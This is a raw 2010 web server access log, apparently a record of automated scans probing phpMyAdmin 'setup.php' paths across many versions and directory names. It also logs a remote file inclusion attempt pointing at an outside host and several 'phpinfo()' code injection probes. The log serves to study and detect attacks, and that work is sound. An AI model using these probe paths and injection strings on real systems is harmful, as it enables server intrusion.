/phpMyAdmin-2.6.4/scripts/setup.php Tue, 09 Nov 2010 20:51:39 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.7.0-pl1/scripts/setup.php Tue, 09 Nov 2010 20:51:45 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.7.0-pl2/scripts/setup.php Tue, 09 Nov 2010 20:51:51 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.7.0/scripts/setup.php Tue, 09 Nov 2010 20:51:57 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.0-beta1/scripts/setup.php Tue, 09 Nov 2010 20:52:03 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.0-rc1/scripts/setup.php Tue, 09 Nov 2010 20:52:09 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.0-rc2/scripts/setup.php Tue, 09 Nov 2010 20:52:15 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.0/scripts/setup.php Tue, 09 Nov 2010 20:52:21 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.0.1/scripts/setup.php Tue, 09 Nov 2010 20:52:30 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.0.3/scripts/setup.php Tue, 09 Nov 2010 20:52:36 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.0.4/scripts/setup.php Tue, 09 Nov 2010 20:52:42 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.1-rc1/scripts/setup.php Tue, 09 Nov 2010 20:52:51 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.2/scripts/setup.php Tue, 09 Nov 2010 20:52:57 +0100: IP /200.17.33.174/ URL: /sqlmanager/scripts/setup.php Tue, 09 Nov 2010 20:53:03 +0100: IP /200.17.33.174/ URL: /mysqlmanager/scripts/setup.php Tue, 09 Nov 2010 20:53:09 +0100: IP /200.17.33.174/ URL: /p/m/a/scripts/setup.php Tue, 09 Nov 2010 20:53:15 +0100: IP /200.17.33.174/ URL: /PMA2005/scripts/setup.php Tue, 09 Nov 2010 20:53:21 +0100: IP /200.17.33.174/ URL: /pma2005/scripts/setup.php Tue, 09 Nov 2010 20:53:27 +0100: IP /200.17.33.174/ URL: /phpmanager/scripts/setup.php Tue, 09 Nov 2010 20:53:33 +0100: IP /200.17.33.174/ URL: /php-myadmin/scripts/setup.php Tue, 09 Nov 2010 20:53:39 +0100: IP /200.17.33.174/ URL: /phpmy-admin/scripts/setup.php Tue, 09 Nov 2010 20:53:45 +0100: IP /200.17.33.174/ URL: /webadmin/scripts/setup.php Tue, 09 Nov 2010 20:53:51 +0100: IP /200.17.33.174/ URL: /sqlweb/scripts/setup.php Tue, 09 Nov 2010 20:53:57 +0100: IP /200.17.33.174/ URL: /websql/scripts/setup.php Tue, 09 Nov 2010 20:54:03 +0100: IP /200.17.33.174/ URL: /webdb/scripts/setup.php Tue, 09 Nov 2010 20:54:09 +0100: IP /200.17.33.174/ URL: /mysqladmin/scripts/setup.php Tue, 09 Nov 2010 20:54:15 +0100: IP /200.17.33.174/ URL: /mysql-admin/scripts/setup.php Thu, 11 Nov 2010 22:49:23 +0100: IP /91.121.30.183/ URL: /user/soapCaller.bs Fri, 12 Nov 2010 22:57:32 +0100: IP /97.74.202.111/ URL: /appserv/main.php?appserv_root=http://220.130.56.140/appserv/t.txt? Sat, 13 Nov 2010 03:43:13 +0100: IP /77.221.156.210/ URL: //phpmyadmin/config/config.inc.php?p=phpinfo(); Sat, 13 Nov 2010 03:43:21 +0100: IP /77.221.156.210/ URL: //pma/config/config.inc.php?p=phpinfo(); Sat, 13 Nov 2010 03:43:25 +0100: IP /77.221.156.210/ URL: //admin/config/config.inc.php?p=phpinfo(); Sat, 13 Nov 2010 03:43:31 +0100: IP /77.221.156.210/ URL: //dbadmin/config/config.inc.php?p=phpinfo(); Sat, 13 Nov 2010 03:43:37 +0100: IP /77.221.156.210/ URL: //mysql/config/config.inc.php?p=phpinfo(); Sat, 13 Nov 2010 03:43:43 +0100: IP /77.221.156.210/ URL: //php-my-admin/config/config.inc.php?p=phpinfo(); Sat, 13 Nov 2010 03:43:49 +0100: IP /77.221.156.210/ URL: //myadmin/config/config.inc.php?p=phpinfo(); Sat, 13 Nov 2010 03:43:55 +0100: IP /77.221.156.210/ URL: //PHPMYADMIN/config/config.inc.php?p=phpinfo(); Sat, 13 Nov 2010 03:44:01 +0100: IP /77.221.156.210/ URL: //phpMyAdmin/config/config.inc.php?p=phpinfo(); Sat, 13 Nov 2010 03:44:07 +0100: IP /77.221.156.210/ URL: //p/m/a/config/config.inc.php?p=phpinfo(); Sat, 13 Nov 2010 05:54:08 +0100: IP /97.74.202.111/ URL: /user/soapCaller.bs Mon, 15 Nov 2010 03:27:52 +0100: IP /218.61.194.13/ URL: /user/soapCaller.bs Wed, 17 Nov 2010 02:29:51 +0100: IP /200.17.33.174/ URL: /w00tw00t.at.blackhats.romanian.anti-sec:) Wed, 17 Nov 2010 02:29:53 +0100: IP /200.17.33.174/ URL: /scripts/setup.php Wed, 17 Nov 2010 02:29:59 +0100: IP /200.17.33.174/ URL: /admin/scripts/setup.php Wed, 17 Nov 2010 02:30:04 +0100: IP /200.17.33.174/ URL: /admin/pma/scripts/setup.php Wed, 17 Nov 2010 02:30:10 +0100: IP /200.17.33.174/ URL: /admin/phpmyadmin/scripts/setup.php Wed, 17 Nov 2010 02:30:16 +0100: IP /200.17.33.174/ URL: /db/scripts/setup.php Wed, 17 Nov 2010 02:30:22 +0100: IP /200.17.33.174/ URL: /dbadmin/scripts/setup.php Wed, 17 Nov 2010 02:30:28 +0100: IP /200.17.33.174/ URL: /myadmin/scripts/setup.php Wed, 17 Nov 2010 02:30:34 +0100: IP /200.17.33.174/ URL: /mysql/scripts/setup.php Wed, 17 Nov 2010 02:30:40 +0100: IP /200.17.33.174/ URL: /mysqladmin/scripts/setup.php Wed, 17 Nov 2010 02:30:46 +0100: IP /200.17.33.174/ URL: /typo3/phpmyadmin/scripts/setup.php Wed, 17 Nov 2010 02:30:53 +0100: IP /200.17.33.174/ URL: /phpadmin/scripts/setup.php Wed, 17 Nov 2010 02:31:02 +0100: IP /200.17.33.174/ URL: /phpmyadmin/scripts/setup.php Wed, 17 Nov 2010 02:31:07 +0100: IP /200.17.33.174/ URL: /phpmyadmin1/scripts/setup.php Wed, 17 Nov 2010 02:31:13 +0100: IP /200.17.33.174/ URL: /phpmyadmin2/scripts/setup.php Wed, 17 Nov 2010 02:31:19 +0100: IP /200.17.33.174/ URL: /pma/scripts/setup.php Wed, 17 Nov 2010 02:31:25 +0100: IP /200.17.33.174/ URL: /web/phpMyAdmin/scripts/setup.php Wed, 17 Nov 2010 02:31:32 +0100: IP /200.17.33.174/ URL: /xampp/phpmyadmin/scripts/setup.php Wed, 17 Nov 2010 02:31:38 +0100: IP /200.17.33.174/ URL: /web/scripts/setup.php Wed, 17 Nov 2010 02:31:43 +0100: IP /200.17.33.174/ URL: /php-my-admin/scripts/setup.php Wed, 17 Nov 2010 02:31:50 +0100: IP /200.17.33.174/ URL: /websql/scripts/setup.php Wed, 17 Nov 2010 02:31:56 +0100: IP /200.17.33.174/ URL: /phpmyadmin/scripts/setup.php Wed, 17 Nov 2010 02:32:04 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2/scripts/setup.php Wed, 17 Nov 2010 02:32:09 +0100: IP /200.17.33.174/ URL: /php-my-admin/scripts/setup.php Wed, 17 Nov 2010 02:32:16 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.2.3/scripts/setup.php Wed, 17 Nov 2010 02:32:22 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.2.6/scripts/setup.php Wed, 17 Nov 2010 02:32:27 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.1/scripts/setup.php Wed, 17 Nov 2010 02:32:33 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.4/scripts/setup.php Wed, 17 Nov 2010 02:32:40 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.5-rc1/scripts/setup.php Wed, 17 Nov 2010 02:32:45 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.5-rc2/scripts/setup.php Wed, 17 Nov 2010 02:32:51 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.5/scripts/setup.php Wed, 17 Nov 2010 02:32:58 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.5-pl1/scripts/setup.php Wed, 17 Nov 2010 02:33:04 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.6-rc1/scripts/setup.php Wed, 17 Nov 2010 02:33:10 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.6-rc2/scripts/setup.php Wed, 17 Nov 2010 02:33:15 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.6/scripts/setup.php Wed, 17 Nov 2010 02:33:22 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.7/scripts/setup.php Wed, 17 Nov 2010 02:33:28 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.5.7-pl1/scripts/setup.php Wed, 17 Nov 2010 02:33:33 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-alpha/scripts/setup.php Wed, 17 Nov 2010 02:33:39 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-alpha2/scripts/setup.php Wed, 17 Nov 2010 02:33:46 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-beta1/scripts/setup.php Wed, 17 Nov 2010 02:33:52 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-beta2/scripts/setup.php Wed, 17 Nov 2010 02:33:58 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-rc1/scripts/setup.php Wed, 17 Nov 2010 02:34:04 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-rc2/scripts/setup.php Wed, 17 Nov 2010 02:34:10 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-rc3/scripts/setup.php Wed, 17 Nov 2010 02:34:17 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0/scripts/setup.php Wed, 17 Nov 2010 02:34:21 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-pl1/scripts/setup.php Wed, 17 Nov 2010 02:34:28 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-pl2/scripts/setup.php Wed, 17 Nov 2010 02:34:34 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.0-pl3/scripts/setup.php Wed, 17 Nov 2010 02:34:40 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.1-rc1/scripts/setup.php Wed, 17 Nov 2010 02:34:45 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.1-rc2/scripts/setup.php Wed, 17 Nov 2010 02:34:52 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.1/scripts/setup.php Wed, 17 Nov 2010 02:34:58 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.1-pl1/scripts/setup.php Wed, 17 Nov 2010 02:35:04 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.1-pl2/scripts/setup.php Wed, 17 Nov 2010 02:35:09 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.1-pl3/scripts/setup.php Wed, 17 Nov 2010 02:35:16 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.2-rc1/scripts/setup.php Wed, 17 Nov 2010 02:35:22 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.2-beta1/scripts/setup.php Wed, 17 Nov 2010 02:35:28 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.2-rc1/scripts/setup.php Wed, 17 Nov 2010 02:35:34 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.2/scripts/setup.php Wed, 17 Nov 2010 02:35:39 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.2-pl1/scripts/setup.php Wed, 17 Nov 2010 02:35:46 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.3/scripts/setup.php Wed, 17 Nov 2010 02:35:52 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.3-rc1/scripts/setup.php Wed, 17 Nov 2010 02:35:58 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.3/scripts/setup.php Wed, 17 Nov 2010 02:36:04 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.3-pl1/scripts/setup.php Wed, 17 Nov 2010 02:36:10 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.4-rc1/scripts/setup.php Wed, 17 Nov 2010 02:36:15 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.4-pl1/scripts/setup.php Wed, 17 Nov 2010 02:36:22 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.4-pl2/scripts/setup.php Wed, 17 Nov 2010 02:36:28 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.4-pl3/scripts/setup.php Wed, 17 Nov 2010 02:36:34 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.4-pl4/scripts/setup.php Wed, 17 Nov 2010 02:36:40 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.6.4/scripts/setup.php Wed, 17 Nov 2010 02:36:45 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.7.0-beta1/scripts/setup.php Wed, 17 Nov 2010 02:36:52 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.7.0-rc1/scripts/setup.php Wed, 17 Nov 2010 02:36:58 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.7.0-pl1/scripts/setup.php Wed, 17 Nov 2010 02:37:04 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.7.0-pl2/scripts/setup.php Wed, 17 Nov 2010 02:37:10 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.7.0/scripts/setup.php Wed, 17 Nov 2010 02:37:16 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.0-beta1/scripts/setup.php Wed, 17 Nov 2010 02:37:22 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.0-rc1/scripts/setup.php Wed, 17 Nov 2010 02:37:28 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.0-rc2/scripts/setup.php Wed, 17 Nov 2010 02:37:33 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.0/scripts/setup.php Wed, 17 Nov 2010 02:37:39 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.0.1/scripts/setup.php Wed, 17 Nov 2010 02:37:46 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.0.2/scripts/setup.php Wed, 17 Nov 2010 02:37:52 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.0.3/scripts/setup.php Wed, 17 Nov 2010 02:37:58 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.0.4/scripts/setup.php Wed, 17 Nov 2010 02:38:03 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.1-rc1/scripts/setup.php Wed, 17 Nov 2010 02:38:09 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.1/scripts/setup.php Wed, 17 Nov 2010 02:38:16 +0100: IP /200.17.33.174/ URL: /phpMyAdmin-2.8.2/scripts/setup.php Wed, 17 Nov 2010 02:38:21 +0100: IP /200.17.33.174/ URL: /sqlmanager/scripts/setup.php Wed, 17 Nov 2010 02:38:28 +0100: IP /200.17.33.174/ URL: /mysqlmanager/scripts/setup.php Wed, 17 Nov 2010 02:38:34 +0100: IP /200.17.33.174/ URL: /p/m/a/scripts/setup.php Wed, 17 Nov 2010 02:38:40 +0100: IP /200.17.33.174/ URL: /PMA2005/scripts/setup.php Wed, 17 Nov 2010 02:38:46 +0100: IP /200.17.33.174/ URL: /pma2005/scripts/setup.php Wed, 17 Nov 2010 02:38:52 +0100: IP /200.17.33.174/ URL: /phpmanager/scripts/setup.php Wed, 17 Nov 2010 02:38:58 +0100: IP /200.17.33.174/ URL: /php-myadmin/scripts/setup.php Wed, 17 Nov 2010 02:39:04 +0100: IP /200.17.33.174/ URL: /phpmy-admin/scripts/setup.php Wed, 17 Nov 2010 02:39:09 +0100: IP /200.17.33.174/ URL: /webadmin/scripts/setup.php Wed, 17 Nov 2010 02:39:15 +0100: IP /200.17.33.174/ URL: /sqlweb/scripts/setup.php Wed, 17 Nov 2010 02:39:22 +0100: IP /200.17.33.174/ URL: /websql/scripts/setup.php Wed, 17 Nov 2010 02:39:28 +0100: IP /200.17.33.174/ URL: /webdb/scripts/setup.php Wed, 17 Nov 2010 02:39:33 +0100: IP /200.17.33.174/ URL: /mysqladmin/scripts/setup.php Wed, 17 Nov 2010 02:39:40 +0100: IP /200.17.33.174/ URL: /mysql-admin/scripts/setup.php